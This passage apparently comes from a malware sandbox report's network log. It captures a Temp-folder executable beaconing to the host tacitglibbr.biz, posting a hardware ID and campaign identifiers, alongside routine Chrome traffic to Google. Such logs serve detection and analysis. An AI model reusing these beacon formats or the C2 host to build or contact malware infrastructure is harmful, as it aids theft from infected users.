2024-12-16 14:02:30 UTC	1197	OUT	Data Raw: 2d 2d 31 52 4c 5a 4f 33 48 42 4e 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 52 4c 5a 4f 33 48 42 4e 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 52 4c 5a 4f 33 48 42 4e 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 31 52 4c 5a 4f 33 48 42 4e 47 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --1RLZO3HBNGContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--1RLZO3HBNGContent-Disposition: form-data; name="pid"1--1RLZO3HBNGContent-Disposition: form-data; name="lid"PsFKDg--pablo--1RLZO3HBNGContent-
2024-12-16 14:02:31 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=arjtdjbp5cs335o9bu5fuaee68; expires=Fri, 11-Apr-2025 07:49:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=glotpuCNAGmDAHWZ3XpQOKymG5nrk4ddCBEWzSVs0PZVafPtythTIu6hAkB2%2BO3MnN4xgZydQHvIZmOKhT2ySDEMG1swA%2BLk5LiX4%2B6agKgIF6k9sOvalrJI%2BxTUM%2BjBx1M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3626b91c43f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&min_rtt=1567&rtt_var=626&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2105&delivery_rate=1697674&cwnd=214&unsent_bytes=0&cid=2d452ef893d4a005&ts=1007&x=0"
2024-12-16 14:02:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:02:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49932	104.21.50.161	443	7440	C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:02:33 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 14:02:33 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 14:02:34 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l7pdeh4j48cfc9ofckab4f72v5; expires=Fri, 11-Apr-2025 07:49:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BoM2yxsxmYjbgsYemwDKBHIUrfDucFwtPclaYsKlb8wH8T4DZH8Qci%2Fx7RZzdVXOfpOTqo5D1%2FOQFyYFzn1py%2F6hNCBC%2F89QO4W7qqKE%2BnUhlZs0vhfZzpoMjq4jHzCShrg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f363a6c8a0f77-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1583&min_rtt=1548&rtt_var=605&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=906&delivery_rate=1886304&cwnd=231&unsent_bytes=0&cid=07b241d4ac5c6ba1&ts=1560&x=0"
2024-12-16 14:02:34 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 14:02:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49940	172.217.21.36	443	7672	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:02:35 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 14:02:36 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:36 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-bt2Jd7RRpcsVjAhYtWquKQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-16 14:02:36 UTC	124	IN	Data Raw: 37 61 37 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 64 72 61 67 6f 6e 20 64 6f 6a 6f 20 74 72 61 69 6e 65 72 20 62 6c 6f 78 20 66 72 75 69 74 73 22 2c 22 6e 65 77 20 6f 72 6c 65 61 6e 73 20 73 61 69 6e 74 73 22 2c 22 6d 6f 72 74 67 61 67 65 20 72 61 74 65 73 20 74 6f 64 61 79 22 2c 22 6d 61 72 76 65 6c 20 72 69 76 61 6c 73 20 74 61 6e 6b 20 74 69 65 72 20 6c 69 73 74 22 2c Data Ascii: 7a7)]}'["",["dragon dojo trainer blox fruits","new orleans saints","mortgage rates today","marvel rivals tank tier list",
2024-12-16 14:02:36 UTC	1390	IN	Data Raw: 22 77 65 73 74 65 72 6e 20 77 61 73 68 69 6e 67 74 6f 6e 20 70 6f 77 65 72 20 6f 75 74 61 67 65 73 22 2c 22 77 77 65 20 73 61 74 75 72 64 61 79 20 6e 69 67 68 74 20 6d 61 69 6e 20 65 76 65 6e 74 22 2c 22 70 65 6e 6e 20 73 74 61 74 65 20 77 72 65 73 74 6c 69 6e 67 20 77 79 6f 6d 69 6e 67 22 2c 22 73 75 70 65 72 20 6d 69 63 72 6f 20 63 6f 6d 70 75 74 65 72 20 73 74 6f 63 6b 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d Data Ascii: "western washington power outages","wwe saturday night main event","penn state wrestling wyoming","super micro computer stock"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2Vhcm
2024-12-16 14:02:36 UTC	452	IN	Data Raw: 61 59 56 4a 70 52 30 39 61 4e 45 52 34 55 32 70 32 56 57 4a 7a 53 6a 59 30 52 44 56 31 55 47 52 6b 63 6b 4a 35 56 6b 4a 71 62 6b 6c 32 53 47 5a 7a 4d 6a 52 51 64 31 45 31 53 54 4a 44 4e 44 63 35 64 57 4e 76 54 6d 35 72 4d 6d 6f 35 4e 44 4a 51 4f 45 4a 50 52 56 4a 47 56 6e 64 4b 4e 57 6f 78 52 48 55 79 59 69 39 5a 4d 6c 41 35 64 47 77 34 65 47 4e 6b 57 45 59 32 62 6a 55 31 64 57 74 4c 51 32 6c 52 65 46 68 79 4e 54 5a 74 61 56 67 33 5a 58 49 79 54 33 59 33 62 6b 64 4e 4e 6d 6c 44 53 6b 5a 50 55 54 59 76 54 54 46 51 53 30 30 33 65 6a 64 49 62 48 68 32 59 6c 59 72 55 47 46 6c 64 54 6c 6c 57 6e 6b 30 54 56 67 33 54 45 68 4f 53 6a 4e 55 54 6c 68 79 57 58 59 7a 5a 48 42 4f 54 32 39 34 5a 48 51 76 5a 6b 78 32 53 47 56 52 57 6b 46 4a 62 45 30 79 61 47 68 78 4d 53 Data Ascii: aYVJpR09aNER4U2p2VWJzSjY0RDV1UGRkckJ5VkJqbkl2SGZzMjRQd1E1STJDNDc5dWNvTm5rMmo5NDJQOEJPRVJGVndKNWoxRHUyYi9ZMlA5dGw4eGNkWEY2bjU1dWtLQ2lReFhyNTZtaVg3ZXIyT3Y3bkdNNmlDSkZPUTYvTTFQS003ejdIbHh2YlYrUGFldTllWnk0TVg3TEhOSjNUTlhyWXYzZHBOT294ZHQvZkx2SGVRWkFJbE0yaGhxMS
2024-12-16 14:02:36 UTC	90	IN	Data Raw: 35 34 0d 0a 6b 4a 4e 4f 57 56 30 5a 46 46 44 62 6b 31 35 52 7a 67 7a 4e 47 52 71 54 32 74 69 63 47 4e 6d 53 46 6b 35 52 47 4a 71 55 6e 6c 4d 63 6b 64 56 4c 30 6b 33 5a 46 67 31 54 30 52 31 62 33 4e 73 64 30 39 4b 4d 58 5a 4e 64 31 46 6f 5a 57 6f 79 55 58 56 77 59 0d 0a Data Ascii: 54kJNOWV0ZFFDbk15RzgzNGRqT2ticGNmSFk5RGJqUnlMckdVL0k3ZFg1T0R1b3Nsd09KMXZNd1FoZWoyUXVwY
2024-12-16 14:02:36 UTC	1390	IN	Data Raw: 31 30 39 33 0d 0a 31 49 79 59 57 31 4b 59 58 42 7a 64 45 63 79 54 44 63 77 54 58 5a 71 61 48 46 70 59 55 35 4e 5a 45 4a 32 64 58 56 77 62 46 6f 79 64 6c 46 77 55 57 51 32 4e 31 42 6a 53 31 41 79 61 31 52 44 61 33 45 79 64 6d 35 46 4f 47 6c 71 55 54 5a 6d 53 30 55 35 64 58 59 33 54 56 64 50 59 6b 74 75 52 6d 52 34 56 69 39 76 57 6c 42 56 4c 33 4a 5a 57 48 70 4f 53 48 6c 78 61 46 4a 74 56 45 5a 58 5a 45 5a 4c 62 6c 6c 71 4b 30 70 69 4e 44 64 6c 52 48 52 73 4d 48 6c 6e 61 57 35 54 62 30 39 50 57 56 64 69 54 55 52 55 54 55 56 44 59 56 5a 51 61 47 70 56 64 46 4e 71 61 57 77 78 4c 32 6c 48 64 54 64 4d 56 6c 70 70 63 7a 4e 78 4c 33 52 57 52 46 56 58 63 32 55 78 4d 56 6c 6f 52 32 67 30 5a 57 4d 35 4d 44 4a 6f 52 6d 51 79 64 53 38 79 64 6b 31 59 64 6d 56 5a 64 55 Data Ascii: 10931IyYW1KYXBzdEcyTDcwTXZqaHFpYU5NZEJ2dXVwbFoydlFwUWQ2N1BjS1Aya1RDa3Eydm5FOGlqUTZmS0U5dXY3TVdPYktuRmR4Vi9vWlBVL3JZWHpOSHlxaFJtVEZXZEZLbllqK0piNDdlRHRsMHlnaW5Tb09PWVdiTURUTUVDYVZQaGpVdFNqaWwxL2lHdTdMVlppczNxL3RWRFVXc2UxMVloR2g0ZWM5MDJoRmQydS8ydk1YdmVZdU
2024-12-16 14:02:36 UTC	1390	IN	Data Raw: 5a 32 4e 44 51 57 59 76 52 55 46 45 51 56 46 42 51 55 6c 44 51 56 46 4e 52 45 46 6e 55 55 64 42 55 56 56 42 51 55 46 42 51 55 46 42 52 55 4e 42 64 31 46 53 51 55 46 56 55 30 4a 70 52 58 68 46 65 55 6c 49 55 56 5a 47 65 45 5a 44 54 58 6c 52 62 55 64 43 4f 46 52 4f 55 32 4e 77 52 32 67 76 4f 46 46 42 52 30 46 46 51 6b 46 52 52 55 4a 42 55 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 46 51 30 46 33 56 43 39 34 51 55 46 6c 52 56 46 46 51 6b 46 42 52 55 56 42 64 30 56 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 43 51 55 46 4a 52 45 56 53 53 57 68 4e 56 6b 68 33 55 57 59 76 59 55 46 42 64 30 52 42 55 55 46 44 52 56 46 4e 55 6b 46 45 4f 45 45 30 59 6d 38 77 59 55 35 4b 52 32 70 53 62 7a 42 72 59 55 35 48 61 6c 4e 53 62 7a 42 68 54 6b 70 Data Ascii: Z2NDQWYvRUFEQVFBQUlDQVFNREFnUUdBUVVBQUFBQUFBRUNBd1FSQUFVU0JpRXhFeUlIUVZGeEZDTXlRbUdCOFROU2NwR2gvOFFBR0FFQkFRRUJBUUFBQUFBQUFBQUFBQUFBQUFFQ0F3VC94QUFlRVFFQkFBRUVBd0VBQUFBQUFBQUFBQUFCQUFJREVSSWhNVkh3UWYvYUFBd0RBUUFDRVFNUkFEOEE0Ym8wYU5KR2pSbzBrYU5HalNSbzBhTkp
2024-12-16 14:02:36 UTC	1390	IN	Data Raw: 55 72 4e 6a 49 33 4b 7a 46 53 4e 32 35 30 65 56 45 33 5a 54 42 6a 59 32 39 71 4e 58 42 46 4d 47 70 4d 65 54 52 6e 51 6c 42 6a 64 30 4a 56 61 32 74 6d 64 55 68 6d 65 6d 68 43 64 58 5a 33 4e 44 4e 59 59 55 39 73 4e 58 51 76 4d 30 64 36 56 57 68 6f 61 57 31 68 51 56 46 46 64 44 5a 79 63 30 70 45 53 44 4a 49 53 45 64 44 55 56 51 31 4f 47 51 35 56 58 68 7a 54 33 46 51 61 56 56 51 55 46 56 53 53 7a 6c 71 4f 46 4a 36 62 46 64 70 57 55 4a 44 61 55 56 72 54 56 56 61 55 31 64 4b 64 30 46 43 65 53 74 58 5a 45 78 4d 56 6e 46 6c 4d 6e 64 6c 65 6b 30 77 61 46 56 6c 4d 30 6f 33 53 31 42 76 51 6a 52 42 4b 7a 4a 32 52 30 35 50 4b 32 6c 68 4d 55 64 34 4d 56 68 30 61 57 4a 30 55 45 68 43 55 6c 64 6a 55 31 52 32 53 69 74 75 61 58 5a 31 4e 47 34 33 4e 44 51 76 4d 33 46 47 4d Data Ascii: UrNjI3KzFSN250eVE3ZTBjY29qNXBFMGpMeTRnQlBjd0JVa2tmdUhmemhCdXZ3NDNYYU9sNXQvM0d6VWhoaW1hQVFFdDZyc0pESDJISEdDUVQ1OGQ5VXhzT3FQaVVQUFVSSzlqOFJ6bFdpWUJDaUVrTVVaU1dKd0FCeStXZExMVnFlMndlek0waFVlM0o3S1BvQjRBKzJ2R05PK2lhMUd4MVh0aWJ0UEhCUldjU1R2SituaXZ1NG43NDQvM3FGM
2024-12-16 14:02:36 UTC	81	IN	Data Raw: 67 65 73 74 74 79 70 65 22 3a 5b 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: gesttype":["QUERY","ENTITY","QUERY","QUERY","QUERY","ENTITY","QUERY","QUERY"]}]
2024-12-16 14:02:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49943	172.217.21.36	443	7672	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:02:35 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49944	172.217.21.36	443	7672	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:02:35 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 14:02:36 UTC	1018	IN	HTTP/1.1 200 OK Version: 704583840 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 16 Dec 2024 14:02:36 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-16 14:02:36 UTC	372	IN	Data Raw: 31 38 66 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 18fd)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-16 14:02:36 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-16 14:02:36 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-16 14:02:36 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-16 14:02:36 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
